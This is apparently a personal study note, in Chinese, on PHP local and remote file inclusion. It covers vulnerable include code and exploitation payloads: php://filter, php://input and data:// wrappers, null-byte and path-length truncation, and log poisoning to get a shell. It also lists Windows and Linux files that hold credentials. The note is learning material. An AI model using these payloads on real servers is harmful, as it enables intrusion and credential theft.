文件包含漏洞学习笔记
前言:
一直感觉之前对漏洞的理解过于肤浅,所以最近打算对这些常见的漏洞类型都好好研究一番
成因:
由于开发没有较好的判断和过滤来源文件路径,从而导致能把目标文件中的内容引入到字符串或者本文件中
所以造成这些漏洞的函数共性都是能读取目标文件中的内容并且引入到字符串或者本文件中
符合以上要求的函数如下两大类:
这一类是将来源文件内容引入到本文件中的函数:
include()
include_once()
require()
requeire_once()
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
Include_once 和 require_once 是类似的无非就是多了一个判断之前是否已经包含过而已
ps: include 和 require的差异就是在错误处理的处理方式不同
- include 遇到报错会发出警告但是不妨碍代码的继续执行
-
require 遇到报错则会生成致命错误同时停止脚本的运行
这一类是将来源文件内容引入到缓冲区或者字符串等中:
readfile
file_get_contents
fopen
file
readfile
将文件内容读取出来,并且输出到缓冲区
file_get_contents
将目标文件内容读取到字符串当中
fopen
函数打开文件或者 URL
file
将整个文件读入数组
通常这些函数可以造成任意文件读取的一些危害,具体的请看下文
基础知识
文件包含漏洞有两种类型一种是本地文件包含漏洞还有一种是远程文件包含漏洞
造成本地文件包含漏洞产生的主要两个参数就是
allow_file_fopen()
和 allow_file_include()
allow_url_fopen=on
的意思就是允许远程读取文件
allow_url_include=on
的意思是允许包含一个文件(好像自php5.2起这个参数就默认为off)
这两种参数都有on/off模式那么到底怎么样的搭配会造成本地文件包含什么的会造成远程文件包含呢
此处借鉴K0rz3n师傅的文章:[https://www.k0rz3n.com/2018/11/20/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8B%20PHP%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/](https://www.k0rz3n.com/2018/11/20/一篇文章带你理解漏洞之 PHP 文件包含漏洞/)
这两个参数的on/off对本地文件包含影响不大,即使这两个参数都是off那么也是会进行一个执行的
但是对远程文件包含的影响就比较大,远程文件包含需要这两个参数都为on的情况下才可以
所以可以得出结论:
在开发没有对参数进行合理限制的情况下,allow_file_fopen()
和 allow_file_include
全为off都可以进行本地文件包含,但是远程文件包含的话就需要两个参数都为on
伪协议
此处借鉴:https://geeeez.github.io/2018/07/01/CTF%E4%B8%AD%E7%9A%84%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/
在ctf中伪协议是非常常见的,利用伪协议读取源码等等
常用的伪协议hackbar中就带了
php://
php:// 可以访问各个输入/输出流(I/O streams)所以我们可以利用php伪协议这一点来进行命令执行和源码读取等
php://filter
不需要 allow_url 开启即可读取、包含也可以进行使用,php://filter是php语言特有的协议流,我这里将这个协议理解为桥梁。将目标文件和我们之间建立起来的桥梁。一般都是用来读取源码这里有一个地方需要注意就是我们在读取源码的时候一定要用base64进行编码否则对应的php文件会被解析导致无法读取源码
http://192.168.1.14/test/inc.php?file=php://filter/convert.base64-encode/resource=inc.php
最后的inc.php 可以换成别的文件对应的就可以读取别的文件的源码了
相对的如果要读取上一级的文件自然就需要利用 ../
php://input
这个的使用条件比之前要苛刻一些,一定要allow_url_include
为on才可以php://input
是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。可以看到我们的命令正确的执行了
同样的我们可以利用这个协议来进行命令的执行
zip://
zip://, bzip2://, zlib://协议在allow_url双off的情况下都可以正常使用
这个一般在什么情况下用到呢,比如我们在网站的一个地方可以上传我们的压缩包,同时又发现了一处文件包含,这时候就可以利用这个协议来进行命令执行
Zip://[压缩文件绝对路径]#[压缩文件内的子文件名]。(这里的#要进行url编码)
环境:macOS + php 5.4.45
将phpinfo代码写入 include.txt 然后将文件进行压缩
然后利用zip://的特性,从而导致解析
不过好像php版本5.3以下需要绝对路径,待核实
data://
data:资源类型;编码,内容
前提两者都要为on
同时php版本大于5.2
http://192.168.1.14/test/inc.php?file=data://text/plain,<?php phpinfo()?>
绕过小姿势
在什么情况下会需要这种截断呢?很多时候在实战的情况中并不是完全可控的
所以这种时候我们可以利用截断来进行绕过
<?php
$name = $_GET['name'];
include .$name.'.jpg';
- %00截断 存在于php<=5.3.0 且magic_quotes_gpc 为off (magic_quotes_gpc为on的话所有特殊符号都会进行转义 )
- 路径长度截断 存在于php<=5.3.10 可利用( . ./ /.) 来进行截断
本地文件包含攻击:http://atest.test/2.php?x=1.jpg...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
本地文件包含攻击:http://atest.test/2.php?x=1.jpg./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
LFI 本地文件包含
如题 本地文件包含就是引入自己本地的文件内容,由于开发者没有对路径进行一个很好的判断,从而可能会造成任意文件读取,利用日志getshell等问题
windows
环境:win10+phpstudyPro+php 5.2.17
例子如下:
<?php
$file=$_GET['file'];
include($file);
?>
由于没有对路径进行合理判断可以读取windows下的敏感信息
C:\Windows\win.ini
http://192.168.1.14/test/inc.php?file=C:\Windows\win.ini
windows下常见敏感文件目录
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
Linux
环境:macos 10.15+php7.3.11
/etc/passwd
http://127.0.0.1/test/get.php?file=/etc/passwd
Linux下常见敏感文件目录
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
利用日志getshell
前提:我们需要知道日志的地址(在实战过程中不知道日志地址的情况下可以利用字典进行一个fuzz,也可以找一些探针文件来发现泄漏的路径)
原理:发一个错误请求到服务器(错误请求中包含<?php phpinfo();?>
),服务器日志就会将错误请求记录在error.log中,然后利用文件包含漏洞将日志中的内容引入本文件从而解析
发送一个错误请求,然后抓包,因为不抓包修改的话url中的参数会被url编码成这个样子%3C?php%20phpinfo();%20?%3E%20
这样的话就算引入也无法解析
抓包之后对参数进行修改,这里遇到一个坑就是发现payload中包含空格的情况下返回错误400,错误400就不会写入error.log而是写入了access.log
<?php+phpinfo();?>
利用加号来替换空格
此时我们的日志已经被记录在error.log里面了
然后利用phpstudy可以知道路径
最后利用文件包含漏洞getshell
http://192.168.1.14/test/inc.php?file=../../Extensions/Apache2.4.39/logs/error.log
ps: sqlmap下/data/txt中有fuzz的字典
同时可以可以利用一些信息泄漏小漏洞来找到我们的路径
RFI 远程文件包含
要求:确保allow_url_fopen和allow_url_include都要设置为on
allow_url_fopen=ON的意思就是允许远程读取文件
allow_url_include=ON的意思是允许包含一个文件(好像自php5.2起这个参数就默认为off)
如题所示远程文件包含就是我们引用远程服务器上的文件
举个例子:
<?php
$file=$_GET['file'];
include($file);
?>
首先我们先我们的远程服务器的根目录下放一个 1.txt 内容为
<?php phpinfo(); ?>
然后在我们的本地环境中远程调用我们的文件
可以看到我们的php被解析了
任意文件读取和任意文件包含的区别
这两个我之前概念总是不是很清晰今天专门研究一下
在我个人看来:任意文件包含>任意文件读取
任意文件读取 利用 get_file_contents 等类似将文件读取并且以字符串等形式输出的,所以能做到的只有读取信息,比较重要的一点就是 在读取 php 代码的时候一定要用 php://filter + base64 来进行一个读取,不然php源码是读取不到的 只有一片空白
由于没有include require 等引入文件的函数所以任意文件读取是不能解析php的,也就是说 只能读取文件